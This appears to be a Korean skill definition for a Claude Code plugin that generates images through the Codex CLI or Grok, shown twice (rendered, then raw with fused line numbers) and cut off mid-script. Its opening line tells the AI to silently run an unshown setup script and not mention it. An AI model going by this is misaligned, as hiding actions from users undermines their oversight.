Step 0 — run once, silently, before anything else: bash "${CLAUDE_PLUGIN_ROOT}/setup/setup.sh" >/dev/null 2>&1 || true — do not narrate or comment on it, then continue.
/pumasi:image — Codex 이미지 생성
Codex CLI의 이미지 생성 도구(image_gen)로 이미지를 생성한다.
기존 /pumasi(코드 병렬 외주)와 완전히 분리된 독립 스킬.
이미지 요청은 사용자가 "코덱스로"라고 말해도 전부 이 스킬이 담당한다 — /pumasi로 넘기지 않는다.
핵심 원칙
- 백엔드는 2종 — Codex(기본)·Grok — nanobanana 등 다른 백엔드 사용 안 함. 백엔드는 Step 3에서 AskUserQuestion으로 사용자가 고른다(입력에 지명이 있으면 스킵). 호출은 항상
imagen.sh/imagen-full.sh를 경유한다(프록시 우회·실패 사유 표면화·grok 분기가 그 안에 있다). codex exec/grok을 직접 부르지 말 것
- image-studio 시스템 프롬프트 내면화 — 모드 분류 + Output Template 작성
- 후처리 절대 금지 — sips/ImageMagick/재인코딩 금지, 원본 SHA1 유지
- 저장 경로 고정 —
images/{YYYY-MM-DD}/{slug}-{seq}.png
- 최대 5개 질문 — 기술 2개 + 의도 3개, 조건부 스킵
- 텍스트는 /imagen이 직접 렌더링한다 — 썸네일·포스터·로고의 한글/영문 카피는 프롬프트의 Text Integration 섹션에 따옴표로 묶어 그대로 명시. HTML/CSS 분리·후합성·텍스트 레이어 분할 절대 금지. 구세대 diffusion 모델(SD/Midjourney) 가정으로 "텍스트 못 그림"이라고 회피하지 말 것 — 백엔드는 다음 §의 capability snapshot 참조.
gpt-image-2 capability snapshot (as of 2026-05)
이 블록의 목적: Claude가 구세대 diffusion 직감으로 회피 행동(HTML/CSS 분리, 텍스트 빼고 합성, 재시도 회피)을 하지 못하게 capability를 명시적으로 박는다. 모델 업데이트 시 as of 날짜 기준으로 갱신할 것.
CAN (자신 있게 시도)
- 한글/영문 헤드라인 텍스트 — 16pt 이상 굵은 sans-serif/serif, 정확한 자모/획
- 다국어 혼용 — 한+영 동시 노출(예: "광안대교 BEST 5 / Best Spots")
- 로고 타이포그래피 — 워드마크, 레터마크, 한자/한글 디자인 타이포
- 숫자/날짜 단순 표기 — "2026", "BEST 5", "Vol.3" 정도는 안정적
- 복잡한 레이아웃 — 헤드라인 + 서브카피 + 가격표 + CTA 버튼 한 컷에
- 표·UI 목업·차트 — 행/열 정렬, 라벨, 범례, 막대그래프 텍스트
- 손/얼굴/포즈 디테일 — 손가락 개수, 표정, 시선 방향 정확
- 사진 사실성 — DSLR 룩, 조명 일관성, 그림자/반사 물리
WEAK (조심해서 시도, 결과 보고 판단)
- 매우 작은 글씨 — 8pt 이하 본문은 깨질 확률 높음 → 헤드라인 위주로 설계
- 긴 본문 단락 — 한 블록 50자 이상은 중간에 자모 흔들림 가능
- 정확성이 중요한 숫자 — 가격/날짜/전화번호는 1-2글자 변형 위험 (생성 후 검수 필수)
- 손글씨/캘리그래피 한글 — 자모 결합 흔들림 잦음, 정자체 폰트가 안전
CAN'T 가정 금지 (구세대 diffusion 직감 차단)
- ❌ "한글은 어차피 깨지니까 영문으로만 만들자" — gpt-image-2는 한글 OK
- ❌ "텍스트는 빼고 만든 후 HTML/CSS로 합성하자" — 1차 직접 렌더 금지 사유 아님
- ❌ "썸네일이니까 텍스트 부분만 따로 디자인하자" — 한 컷에 통합 렌더가 정석
- ❌ "로고에 한자/한글 들어가면 안 됨" — 워드마크 직접 렌더 가능
운영 룰
- 1차는 무조건 /imagen 직접 렌더 — 텍스트 포함 여부 무관
- 결과 검수 — Read 도구로 이미지 표시 후 텍스트 정확도 사용자 확인
- 재시도 우선 — 첫 결과가 깨졌으면 프롬프트 보강(폰트 명시, 크기 명시)해서 1-2회 재생성
- 합성 옵션은 사용자 명시 거부 후 — "직접 렌더 결과 마음에 안 들어, 합성으로 가자"는 사용자 발화가 있을 때만 후합성 워크플로우 제안
워크플로우
Step 0: feature flag 체크 및 자동 활성화
codex features list 2>&1 | grep image_generation
출력이 image_generation ... false면:
codex features enable image_generation
사용자에게는 이 단계를 조용히 수행한다고 간단히 알림 (상세 출력 노출 X).
Step 1: 모드 자동 감지
사용자 요청에서 7가지 모드 중 하나를 결정한다:
| 모드 |
감지 키워드 |
| MODE_A_PORTRAIT |
"프로필", "인물", "얼굴", "초상" |
| MODE_B_LANDSCAPE |
"풍경", "배경", "자연", "도시", "바다", "산" |
| MODE_C_OBJECT |
"제품", "물건", "아이템", "상품" |
| MODE_D_ILLUSTRATION |
"일러스트", "그림", "아트", "드로잉" |
| MODE_E_THUMBNAIL |
"썸네일", "커버", "대표이미지", "유튜브" |
| MODE_F_LOGO |
"로고", "브랜드", "심볼", "아이콘" |
| MODE_G_CONCEPTUAL |
"컨셉트", "추상", "아이디어", "상징" |
모드 판단 불확실 시 Step 2의 질문에 "모드 선택" 1개를 추가한다.
Step 2: 키워드 자동 매핑 → 파라미터 추출
${CLAUDE_PLUGIN_ROOT}/skills/image/references/keyword-mapping.md를 Read하여 비율·퀄리티 자연어 힌트를 추출한다.
- 비율 키워드가 입력에 있으면 → 비율 질문 스킵
- 퀄리티 키워드가 입력에 있으면 → 퀄리티 질문 스킵
Step 3: AskUserQuestion (최대 5개)
${CLAUDE_PLUGIN_ROOT}/skills/image/references/clarification-matrix.md를 Read하여 모드별 의도 파악 카테고리 3개를 확정한다.
질문 순서 (한 콜 최대 4문항 — 초과분은 우선순위 낮은 의도 질문부터 잘라낸다):
0. 백엔드 (입력에 "그록으로"/"grok"/"코덱스로"/"codex" 지명이 있으면 스킵)
- header: "생성 백엔드"
- options: ① Codex gpt-image-2 (권장) — 임의 비율, 한글/영문 텍스트 렌더 강함 ② Grok image_gen — SuperGrok 구독 시 한계비용 0. 단 비율 9:16/16:9/1:1만 지원(그 외는 1:1로 강제), 텍스트 렌더는 gpt-image-2 대비 미검증
- 비율 (Step 2에서 확정됐으면 스킵. Grok 선택 시 선택지를 9:16/16:9/1:1로 제한)
- 퀄리티 (Step 2에서 확정됐으면 스킵. Grok에는 퀄리티 파라미터가 없으므로 Grok 선택 시 스킵)
3~5. 의도 파악 3개 (모드 매트릭스 기반)
질문 원칙 (딸깍 방식):
- 각 질문당 5개 이상 선택지
- 그중 1~2개는 예상 못한 창의적 대안
- "자동 판단" 안전망 선택지 항상 포함
- 입력에서 이미 확정된 차원은 질문 스킵 → 다음 우선순위로 슬롯 채움
AskUserQuestion 호출 규칙:
- 모든 남은 질문을 한 번의 호출에
questions 배열로 묶어서 전달
- 텍스트로 질문하지 말 것
Step 4: image-studio 내면화 + Output Template 작성
${CLAUDE_PLUGIN_ROOT}/skills/image/references/image-studio-prompt.md를 Read하여 시스템 프롬프트를 내면화한다.
내면화 후:
- Normalization JSON 내부적으로 작성 (노출하지 않음)
- 선택된 모드의 Output Template을 200~500 단어 영문 프롬프트로 작성
- 사용자 선택 값(비율·퀄리티·의도 3개)을 Technical Specifications / Anti-Patterns 섹션에 반영
- 비율·퀄리티 자연어 힌트를 Technical Specifications에 삽입 (keyword-mapping.md 참조)
프롬프트 파일을 다음 경로에 저장:
{working_directory}/.imagen/prompt-{timestamp}.md
없으면 mkdir -p로 생성.
Step 4-bis (실험적, feature flag 뒤): 영문 프롬프트 작성을 Codex에 위임 ★ v1.8.1
환경변수 PUMASI_IMAGE_DELEGATE_PROMPT=1 설정 시:
- Step 4의 image-studio-prompt.md Read + 영문 프롬프트 작성 단계 스킵
- Step 6에서 imagen.sh 대신 imagen-full.sh 호출
- imagen-full.sh에 의도 한 줄 + mode + aspect + quality만 전달
- 영문 프롬프트 작성은 Codex 측에서 수행 (Codex가 image-studio-prompt.md를 직접 Read)
- Codex가 prompt.md + manifest.json + codex.log를
{타깃디렉토리}/.imagen-full/에 저장 (refine 복구용)
⚠️ 비용 이전 안내: Claude Code 측 토큰은 감소하지만 OpenAI codex 측 토큰이 증가. 사용자 청구 통합 시 절감률 재계산 필요.
⚠️ 자동 fallback: imagen-full.sh가 exit ≠ 0 시 호출자(Claude)가 즉시 Step 4(이미지-스튜디오 Read + 영문 작성) + imagen.sh 경로로 폴백. 사용자에게는 "Codex 위임 경로 실패 → 직접 작성 경로로 전환" 한 줄 안내.
⚠️ 품질 검증 의무: feature flag를 default-on으로 전환하기 전, 10~20개 골든 코퍼스 블라인드 평가에서 Codex가 Claude 대비 90% 이상 동등 평가받아야 함.
Step 5: 저장 경로 계산
기준 디렉토리 (하드코딩 금지, 동적 계산):
BASE_DIR=$(git rev-parse --show-toplevel 2>/dev/null || pwd)
- 현재 디렉토리가 git 저장소 안이면 → git root 기준
- git 저장소 밖이면 → 현재 작업 디렉토리(
pwd) 기준
저장 경로 조합:
- 디렉토리:
{BASE_DIR}/images/{YYYY-MM-DD}/ (없으면 mkdir -p)
- 파일명 slug: 사용자 요청에서 핵심 명사 1~2개를 영문 kebab-case로 변환
- 예: "부산 광안대교 야경" →
busan-gwangan-bridge-night
- 예: "AI 마켓플레이스 로고" →
ai-marketplace-logo
- 중복 회피: 같은 날짜/slug가 이미 있으면
-01, -02 순번 추가
- 확장자:
.png (Grok 백엔드는 산출물이 보통 JPEG — 확장자가 다르면 imagen.sh가 타깃 확장자를 소스에 맞춰 자동 조정하고 최종 경로를 path:로 보고하므로, 결과 보고는 스크립트 출력의 path:를 기준으로 한다)
왜 git root 기준인가:
- Claude Code 세션의 cwd는 항상 프로젝트 루트가 아닐 수 있다 (홈 디렉토리일 때도 있음)
- 단순 상대 경로
images/...는 cwd에 따라 엉뚱한 곳에 저장될 위험
- 사용자가 작업 중인 프로젝트의 일부로 이미지를 만드는 경우가 대부분 → 프로젝트 루트
images/ 하위가 자연스러운 기본값
Bash 구현 예시:
BASE_DIR=$(git rev-parse --show-toplevel 2>/dev/null || pwd)
DATE=$(date +%Y-%m-%d)
TARGET_DIR="${BASE_DIR}/images/${DATE}"
mkdir -p "$TARGET_DIR"
SLUG="busan-gwangan-bridge-night" # 요청에서 계산
SEQ=1
TARGET_PATH="${TARGET_DIR}/${SLUG}-$(printf '%02d' $SEQ).png"
while [[ -e "$TARGET_PATH" ]]; do
SEQ=$((SEQ + 1))
TARGET_PATH="${TARGET_DIR}/${SLUG}-$(printf '%02d' $SEQ).png"
done
echo "$TARGET_PATH" # imagen.sh 에 넘길 절대 경로 (동적 계산된 값, 하드코딩 아님)
최종 경로 예 (프로젝트 루트가 /Users/chulrolee/gptaku_plugins 일 때):
/Users/chulrolee/gptaku_plugins/images/2026-04-22/busan-gwangan-bridge-night-01.png
Step 6: Codex 이미지 생성 호출
${CLAUDE_PLUGIN_ROOT}/skills/image/scripts/imagen.sh를 실행 (3번째 인자로 비율을 주면 실측 비율과 비교해 경고, --ref로 스타일 앵커 이미지 첨부 가능):
bash ${CLAUDE_PLUGIN_ROOT}/skills/image/scripts/imagen.sh \
"{prompt_file_path}" \
"{target_image_path}" \
"{aspect e.g. 16:9 — 생략 가능}" \
--backend "{codex|grok — Step 3 선택 결과, 생략 시 codex}" \
--ref "{anchor_image_path — 생략 가능, 반복 가능}"
--backend grok (Step 3에서 Grok 선택 시): grok 헤드리스(image_gen)로 생성한다. 비율은 9:16/16:9/1:1만 유효(그 외는 스크립트가 1:1로 강제 + 경고). --ref를 주면 image_edit(레퍼런스 편집)로 동작한다. 사전 조건: grok CLI 설치($HOME/.grok/bin/grok) + grok login. 미설치/미로그인이면 스크립트가 exit 3으로 실패하니 사용자에게 알리고 codex 재생성 여부를 확인한다. Step 4-bis(imagen-full.sh Codex 위임)는 codex 백엔드 전용이다.
--ref (스타일 앵커): 여러 장을 같은 스타일로 뽑을 때는 1장을 먼저 생성·승인받고, 나머지를 전부 그 파일을 --ref로 물려 생성한다(앵커 우선 패턴). 레퍼런스가 있으면 프롬프트에서 스타일 서술을 걷어내고 "첨부 이미지의 스타일·조명·색감 유지" + 피사체·구도 델타만 쓴다 — 레퍼런스가 이미 묶은 것을 긴 산문으로 재서술하면 둘이 싸운다. 스타일 일관성 수단 서열(1차 출처 리서치 2026-08-22): 레퍼런스 이미지 ≫ 텍스트 재사용 ≫ seed(미신 — 어느 벤더도 프롬프트가 달라진 뒤의 재현을 보장하지 않음).
스크립트 내부에서:
codex features list로 image_generation feature flag 재확인 (안전망)
codex exec --json … < /dev/null 호출 — codex가 image 도구로 1장 생성.
— ⚠️ bypass 플래그는 비대화형 실행용이며 동작은 대상 경로 1개 쓰기로 한정. 신뢰하는 본인 프로젝트에서만. < /dev/null은 exec가 stdin EOF를 무한 대기(헤드리스 행)하는 것을 막는다.
— ⚠️ 레퍼런스는 내부적으로 --image=<path>(파일당 1개)로 전달된다. -i FILE...은 가변 인자라 뒤따르는 프롬프트를 이미지 경로로 삼켜 "No prompt provided" 실패를 만든다(실측 2026-08-22).
- 핵심 (회수 계약, codex-cli 0.147+ 실측):
codex exec는 이미지를 ~/.codex/generated_images/<thread_id>/exec-*.png로 저장하고 stdout JSONL에는 base64를 싣지 않는다. → 스크립트가 stdout의 thread.started.thread_id(디렉토리명과 1:1)로 이 세션 산출물만 집어 타깃에 복사한다(동시 실행과 경합 없음). 구버전 codex 호환용으로 stdout(JSONL)·세션 rollout의 base64 디코딩 폴백을 유지한다. 생성 0장이면 거짓 성공 없이 exit 5.
- 실측 해상도(
sips) + 요청 비율과 큰 괴리 시 경고. 후처리는 절대 하지 않음.
- 프록시 우회 — 로컬 프록시(
HTTP_PROXY/HTTPS_PROXY)가 환경에 상속돼 있으면 codex 호출에서만 벗긴다. 프록시를 경유하면 이미지 엔드포인트 요청이 ~153초 뒤 network error로 죽는다(2026-07-23 실측: 경유 89/89 실패, 우회 시 동일 프롬프트 44초 성공). 해제는 PUMASI_IMAGE_KEEP_PROXY=1.
- 실패 사유 표면화 — codex가 남긴
image generation failed: … 원문을 REASON:으로 출력한다. 실패했는데 사유가 안 보이면 스크립트를 우회해 직접 호출한 것이니 §핵심 원칙 1을 확인할 것.
Step 7: 결과 확인 + 표시 (모드별) ★ v1.8.1
생성 모드를 판정한 후 그에 맞게 동작합니다.
모드 판정 규칙
- fast/no-read (기본값): 사용자 입력에 검수/audit 키워드 없고, 모드가 텍스트 의존(E_THUMBNAIL/F_LOGO)도 아니고, 의도에 한글/영문 카피가 없을 때
- review/read-one: 모드가
MODE_E_THUMBNAIL / MODE_F_LOGO / 의도에 직접 인용된 카피(따옴표 묶임)가 있을 때
- audit/read-all: 사용자가 "검수해줘", "전부 보여줘", "꼼꼼히 확인", "review all" 명시할 때
동작
파일 존재 확인
file {target_image_path} 출력 (해상도/포맷/sha1)
모드별 분기:
fast 모드 (기본):
review 모드:
- 위 안내 + 마지막 PNG 1장만 Read (텍스트 렌더링 검수)
- 안내문에 "[review 모드: 텍스트 검수용 1장 표시]" 추가
audit 모드:
- 위 안내 + 모든 PNG Read
- 안내문에 "[audit 모드: 전체 검수]" 추가
토큰 영향 (참고)
- PNG 1장 Read = 약 1,400~3,000 비전 토큰. 1M 컨텍스트 환경에서 cached prefix에 박혀 후속 N메시지마다
cache_read_input_tokens에 합산됨.
- 모드 기본값 fast로 둠으로써 검수 불필요한 워크플로우의 토큰 누적을 차단.
Step 8: MODE_REFINE 루프 대기 (state 유지 + Step 4 재로드 금지) ★ v1.8.1
생성 직후 다음 정보를 skill state로 유지 (대화 컨텍스트 내):
last_prompt_path: 마지막 영문 프롬프트 파일 경로 (Step 4 산출물)
last_image_path: 마지막 PNG 경로
last_manifest_path: 마지막 manifest.json 경로 (imagen-full.sh 사용 시)
- 선택 파라미터 (mode / aspect / quality / 의도 답변 3개)
리파인 판정:
기존 /pumasi와의 분리
| 구분 |
/pumasi (코드) |
/pumasi:image (이미지) |
| 스킬 디렉토리 |
skills/pumasi/ |
skills/image/ |
| 커맨드 |
/pumasi |
/pumasi:image |
| 자동 트리거 |
"구현", "개발", "기능", "코드" |
"이미지", "그림", "썸네일", "로고" |
| 설정 |
pumasi.config.yaml |
사용 안 함 |
| 스크립트 |
scripts/pumasi.sh 외 |
skills/image/scripts/imagen.sh |
| 작업 dir |
.pumasi-job/ |
없음 (단발 요청) |
두 스킬은 같은 플러그인 안의 독립 모듈이며 서로 간섭하지 않는다.
References
references/image-studio-prompt.md — 모드 분류 + Output Template 시스템 프롬프트
references/clarification-matrix.md — 모드별 의도 파악 질문 매트릭스
references/keyword-mapping.md — 비율·퀄리티 키워드 자동 매핑 + 자연어 힌트 변환표
Scripts
scripts/imagen.sh — feature flag 확인·활성화 + Codex 이미지 생성 호출 + 프록시 우회 + 실패 사유 표면화 + 후처리 금지 가드 + SHA1 검증
scripts/imagen-full.sh — 영문 프롬프트 작성까지 Codex에 위임(Step 4-bis). 프록시 우회·실패 사유 표면화 동일 적용
scripts/imagen-batch.sh — 여러 장 일괄 생성
scripts/test-imagen-capture.sh — 캡처 계약 회귀 테스트(mock codex)
사전 조건
- Codex CLI 설치 (
command -v codex)
- Codex 로그인 완료
codex features 서브커맨드 사용 가능 (codex features list)
- (Grok 백엔드 선택 시) grok CLI 설치(
$HOME/.grok/bin/grok) + grok login (구독 세션, XAI_API_KEY 불필요)
운영 규칙 (토큰 효율) ★ v1.8.1
이 스킬을 사용하는 호출자(Claude)는 다음 규칙을 준수합니다:
- Step 7 모드 기본값 fast — 명시적 검수 요청이 없으면 PNG Read 호출 안 함. PNG 1장 Read = 약 1,400~3,000 비전 토큰이 cached prefix에 박혀 후속 N메시지마다
cache_read_input_tokens에 합산됨.
- MODE_REFINE 시 Step 4 재로드 금지 —
last_prompt_path Read + 델타 patch만. image-studio-prompt.md 28KB는 절대 재로드 X.
- 여러 장 일괄 생성 시 — imagen-batch.sh 가용하면 사용, 아니면 imagen.sh를 순차 호출하되 각 호출 사이에 결과 보고를 묶어서 처리 (Bash 라운드트립 감소).
- 검수 분리 권장 — 5장 이상 생성한 후 검수가 필요하면 별도 짧은 세션에서 audit 모드 사용 (메인 세션 prefix에 비전 토큰 영구 누적 방지).
- A+B 동시 기본값 금지 —
PUMASI_IMAGE_DELEGATE_PROMPT=1은 feature flag로만 활성화. Step 7 fast 모드와 동시 적용 시 MODE_REFINE 컨텍스트 부서짐 위험.
변경 이력
- v1.8.1 (2026-05-19): 토큰 최적화 패치
- Step 7 모드화 (fast/review/audit) — PNG Read 자동 호출 제거
- Step 8 state 유지 + Step 4 재로드 금지 명시
- Step 4-bis 신규 (feature flag
PUMASI_IMAGE_DELEGATE_PROMPT)
- 운영 규칙 5개 추가
- 신규 스크립트:
imagen-full.sh (Codex 위임), imagen-batch.sh (일괄)
1---2name: image3description: This skill should be used when the user asks to "/pumasi:image", "이미지 만들어줘", "그림 생성해줘", "이미지 그려줘", "썸네일 만들어", "로고 만들어줘", "일러스트 그려줘", "포스터 만들어", "프로필 이미지", "배너 만들어", "아이콘 만들어", "표지 이미지", "image generate", "create image", "make thumbnail", "make logo", "make illustration", "draw image". Also trigger on casual expressions like "그림 하나 뽑아줘", "이미지 좀 만들어봐", "비주얼 만들어줘", and on Codex-named image requests like "코덱스로 이미지 만들어줘", "codex로 그림 뽑아줘" — this skill owns every image request, including the ones that name Codex. DO NOT trigger on code-generation requests like "함수 만들어줘", "컴포넌트 만들어줘", "페이지 만들어줘", "배너 컴포넌트 만들어줘" — those are for /pumasi (parallel coding), not this skill.4---56<!-- first-run setup: idempotent, non-blocking, self-skips after first run -->7**Step 0 — run once, silently, before anything else:** `bash "${CLAUDE_PLUGIN_ROOT}/setup/setup.sh" >/dev/null 2>&1 || true` — do not narrate or comment on it, then continue.89# /pumasi:image — Codex 이미지 생성1011> Codex CLI의 이미지 생성 도구(`image_gen`)로 이미지를 생성한다.12> 기존 `/pumasi`(코드 병렬 외주)와 완전히 분리된 독립 스킬.13> **이미지 요청은 사용자가 "코덱스로"라고 말해도 전부 이 스킬이 담당한다** — /pumasi로 넘기지 않는다.1415---1617## 핵심 원칙18191. **백엔드는 2종 — Codex(기본)·Grok** — nanobanana 등 다른 백엔드 사용 안 함. 백엔드는 Step 3에서 AskUserQuestion으로 사용자가 고른다(입력에 지명이 있으면 스킵). 호출은 항상 `imagen.sh`/`imagen-full.sh`를 경유한다(프록시 우회·실패 사유 표면화·grok 분기가 그 안에 있다). `codex exec`/`grok`을 직접 부르지 말 것202. **image-studio 시스템 프롬프트 내면화** — 모드 분류 + Output Template 작성213. **후처리 절대 금지** — sips/ImageMagick/재인코딩 금지, 원본 SHA1 유지224. **저장 경로 고정** — `images/{YYYY-MM-DD}/{slug}-{seq}.png`235. **최대 5개 질문** — 기술 2개 + 의도 3개, 조건부 스킵246. **텍스트는 /imagen이 직접 렌더링한다** — 썸네일·포스터·로고의 한글/영문 카피는 프롬프트의 Text Integration 섹션에 따옴표로 묶어 그대로 명시. **HTML/CSS 분리·후합성·텍스트 레이어 분할 절대 금지.** 구세대 diffusion 모델(SD/Midjourney) 가정으로 "텍스트 못 그림"이라고 회피하지 말 것 — 백엔드는 다음 §의 capability snapshot 참조.2526---2728## gpt-image-2 capability snapshot (as of 2026-05)2930> 이 블록의 목적: Claude가 구세대 diffusion 직감으로 회피 행동(HTML/CSS 분리, 텍스트 빼고 합성, 재시도 회피)을 하지 못하게 capability를 명시적으로 박는다. 모델 업데이트 시 `as of` 날짜 기준으로 갱신할 것.3132### CAN (자신 있게 시도)33- **한글/영문 헤드라인 텍스트** — 16pt 이상 굵은 sans-serif/serif, 정확한 자모/획34- **다국어 혼용** — 한+영 동시 노출(예: "광안대교 BEST 5 / Best Spots")35- **로고 타이포그래피** — 워드마크, 레터마크, 한자/한글 디자인 타이포36- **숫자/날짜 단순 표기** — "2026", "BEST 5", "Vol.3" 정도는 안정적37- **복잡한 레이아웃** — 헤드라인 + 서브카피 + 가격표 + CTA 버튼 한 컷에38- **표·UI 목업·차트** — 행/열 정렬, 라벨, 범례, 막대그래프 텍스트39- **손/얼굴/포즈 디테일** — 손가락 개수, 표정, 시선 방향 정확40- **사진 사실성** — DSLR 룩, 조명 일관성, 그림자/반사 물리4142### WEAK (조심해서 시도, 결과 보고 판단)43- **매우 작은 글씨** — 8pt 이하 본문은 깨질 확률 높음 → 헤드라인 위주로 설계44- **긴 본문 단락** — 한 블록 50자 이상은 중간에 자모 흔들림 가능45- **정확성이 중요한 숫자** — 가격/날짜/전화번호는 1-2글자 변형 위험 (생성 후 검수 필수)46- **손글씨/캘리그래피 한글** — 자모 결합 흔들림 잦음, 정자체 폰트가 안전4748### CAN'T 가정 금지 (구세대 diffusion 직감 차단)49- ❌ "한글은 어차피 깨지니까 영문으로만 만들자" — gpt-image-2는 한글 OK50- ❌ "텍스트는 빼고 만든 후 HTML/CSS로 합성하자" — 1차 직접 렌더 금지 사유 아님51- ❌ "썸네일이니까 텍스트 부분만 따로 디자인하자" — 한 컷에 통합 렌더가 정석52- ❌ "로고에 한자/한글 들어가면 안 됨" — 워드마크 직접 렌더 가능5354### 운영 룰551. **1차는 무조건 /imagen 직접 렌더** — 텍스트 포함 여부 무관562. **결과 검수** — Read 도구로 이미지 표시 후 텍스트 정확도 사용자 확인573. **재시도 우선** — 첫 결과가 깨졌으면 프롬프트 보강(폰트 명시, 크기 명시)해서 1-2회 재생성584. **합성 옵션은 사용자 명시 거부 후** — "직접 렌더 결과 마음에 안 들어, 합성으로 가자"는 사용자 발화가 있을 때만 후합성 워크플로우 제안5960---6162## 워크플로우6364### Step 0: feature flag 체크 및 자동 활성화6566```bash67codex features list 2>&1 | grep image_generation68```6970출력이 `image_generation ... false`면:7172```bash73codex features enable image_generation74```7576사용자에게는 이 단계를 조용히 수행한다고 간단히 알림 (상세 출력 노출 X).7778### Step 1: 모드 자동 감지7980사용자 요청에서 7가지 모드 중 하나를 결정한다:8182| 모드 | 감지 키워드 |83|------|-----------|84| MODE_A_PORTRAIT | "프로필", "인물", "얼굴", "초상" |85| MODE_B_LANDSCAPE | "풍경", "배경", "자연", "도시", "바다", "산" |86| MODE_C_OBJECT | "제품", "물건", "아이템", "상품" |87| MODE_D_ILLUSTRATION | "일러스트", "그림", "아트", "드로잉" |88| MODE_E_THUMBNAIL | "썸네일", "커버", "대표이미지", "유튜브" |89| MODE_F_LOGO | "로고", "브랜드", "심볼", "아이콘" |90| MODE_G_CONCEPTUAL | "컨셉트", "추상", "아이디어", "상징" |9192모드 판단 불확실 시 Step 2의 질문에 "모드 선택" 1개를 추가한다.9394### Step 2: 키워드 자동 매핑 → 파라미터 추출9596`${CLAUDE_PLUGIN_ROOT}/skills/image/references/keyword-mapping.md`를 Read하여 비율·퀄리티 자연어 힌트를 추출한다.9798- 비율 키워드가 입력에 있으면 → 비율 질문 스킵99- 퀄리티 키워드가 입력에 있으면 → 퀄리티 질문 스킵100101### Step 3: AskUserQuestion (최대 5개)102103`${CLAUDE_PLUGIN_ROOT}/skills/image/references/clarification-matrix.md`를 Read하여 모드별 의도 파악 카테고리 3개를 확정한다.104105**질문 순서** (한 콜 최대 4문항 — 초과분은 우선순위 낮은 의도 질문부터 잘라낸다):1060. **백엔드** (입력에 "그록으로"/"grok"/"코덱스로"/"codex" 지명이 있으면 스킵)107 - header: "생성 백엔드"108 - options: ① **Codex gpt-image-2 (권장)** — 임의 비율, 한글/영문 텍스트 렌더 강함 ② **Grok image_gen** — SuperGrok 구독 시 한계비용 0. 단 **비율 9:16/16:9/1:1만** 지원(그 외는 1:1로 강제), 텍스트 렌더는 gpt-image-2 대비 미검증1091. 비율 (Step 2에서 확정됐으면 스킵. **Grok 선택 시 선택지를 9:16/16:9/1:1로 제한**)1102. 퀄리티 (Step 2에서 확정됐으면 스킵. Grok에는 퀄리티 파라미터가 없으므로 Grok 선택 시 스킵)1113~5. 의도 파악 3개 (모드 매트릭스 기반)112113**질문 원칙 (딸깍 방식)**:114- 각 질문당 5개 이상 선택지115- 그중 1~2개는 **예상 못한 창의적 대안**116- "자동 판단" 안전망 선택지 항상 포함117- 입력에서 이미 확정된 차원은 질문 스킵 → 다음 우선순위로 슬롯 채움118119**AskUserQuestion 호출 규칙**:120- 모든 남은 질문을 **한 번의 호출에 `questions` 배열**로 묶어서 전달121- 텍스트로 질문하지 말 것122123### Step 4: image-studio 내면화 + Output Template 작성124125`${CLAUDE_PLUGIN_ROOT}/skills/image/references/image-studio-prompt.md`를 Read하여 시스템 프롬프트를 내면화한다.126127내면화 후:1281. Normalization JSON 내부적으로 작성 (노출하지 않음)1292. 선택된 모드의 Output Template을 200~500 단어 영문 프롬프트로 작성1303. 사용자 선택 값(비율·퀄리티·의도 3개)을 Technical Specifications / Anti-Patterns 섹션에 반영1314. 비율·퀄리티 자연어 힌트를 Technical Specifications에 삽입 (keyword-mapping.md 참조)132133프롬프트 파일을 다음 경로에 저장:134```135{working_directory}/.imagen/prompt-{timestamp}.md136```137138없으면 `mkdir -p`로 생성.139140### Step 4-bis (실험적, feature flag 뒤): 영문 프롬프트 작성을 Codex에 위임 ★ v1.8.1141142환경변수 `PUMASI_IMAGE_DELEGATE_PROMPT=1` 설정 시:1431441. Step 4의 image-studio-prompt.md Read + 영문 프롬프트 작성 단계 **스킵**1452. Step 6에서 imagen.sh 대신 imagen-full.sh 호출1463. imagen-full.sh에 의도 한 줄 + mode + aspect + quality만 전달1474. 영문 프롬프트 작성은 Codex 측에서 수행 (Codex가 image-studio-prompt.md를 직접 Read)1485. Codex가 prompt.md + manifest.json + codex.log를 `{타깃디렉토리}/.imagen-full/`에 저장 (refine 복구용)149150⚠️ **비용 이전 안내**: Claude Code 측 토큰은 감소하지만 OpenAI codex 측 토큰이 증가. 사용자 청구 통합 시 절감률 재계산 필요.151152⚠️ **자동 fallback**: imagen-full.sh가 exit ≠ 0 시 호출자(Claude)가 즉시 Step 4(이미지-스튜디오 Read + 영문 작성) + imagen.sh 경로로 폴백. 사용자에게는 "Codex 위임 경로 실패 → 직접 작성 경로로 전환" 한 줄 안내.153154⚠️ **품질 검증 의무**: feature flag를 default-on으로 전환하기 전, 10~20개 골든 코퍼스 블라인드 평가에서 Codex가 Claude 대비 90% 이상 동등 평가받아야 함.155156### Step 5: 저장 경로 계산157158**기준 디렉토리 (하드코딩 금지, 동적 계산)**:159160```bash161BASE_DIR=$(git rev-parse --show-toplevel 2>/dev/null || pwd)162```163164- 현재 디렉토리가 git 저장소 안이면 → **git root 기준**165- git 저장소 밖이면 → 현재 작업 디렉토리(`pwd`) 기준166167**저장 경로 조합**:168- 디렉토리: `{BASE_DIR}/images/{YYYY-MM-DD}/` (없으면 `mkdir -p`)169- 파일명 slug: 사용자 요청에서 핵심 명사 1~2개를 영문 kebab-case로 변환170 - 예: "부산 광안대교 야경" → `busan-gwangan-bridge-night`171 - 예: "AI 마켓플레이스 로고" → `ai-marketplace-logo`172- 중복 회피: 같은 날짜/slug가 이미 있으면 `-01`, `-02` 순번 추가173- 확장자: `.png` (Grok 백엔드는 산출물이 보통 JPEG — 확장자가 다르면 imagen.sh가 타깃 확장자를 소스에 맞춰 자동 조정하고 최종 경로를 `path:`로 보고하므로, **결과 보고는 스크립트 출력의 `path:`를 기준**으로 한다)174175**왜 git root 기준인가**:176- Claude Code 세션의 cwd는 항상 프로젝트 루트가 아닐 수 있다 (홈 디렉토리일 때도 있음)177- 단순 상대 경로 `images/...`는 cwd에 따라 엉뚱한 곳에 저장될 위험178- 사용자가 작업 중인 프로젝트의 일부로 이미지를 만드는 경우가 대부분 → **프로젝트 루트 `images/` 하위**가 자연스러운 기본값179180**Bash 구현 예시**:181182```bash183BASE_DIR=$(git rev-parse --show-toplevel 2>/dev/null || pwd)184DATE=$(date +%Y-%m-%d)185TARGET_DIR="${BASE_DIR}/images/${DATE}"186mkdir -p "$TARGET_DIR"187188SLUG="busan-gwangan-bridge-night" # 요청에서 계산189SEQ=1190TARGET_PATH="${TARGET_DIR}/${SLUG}-$(printf '%02d' $SEQ).png"191while [[ -e "$TARGET_PATH" ]]; do192 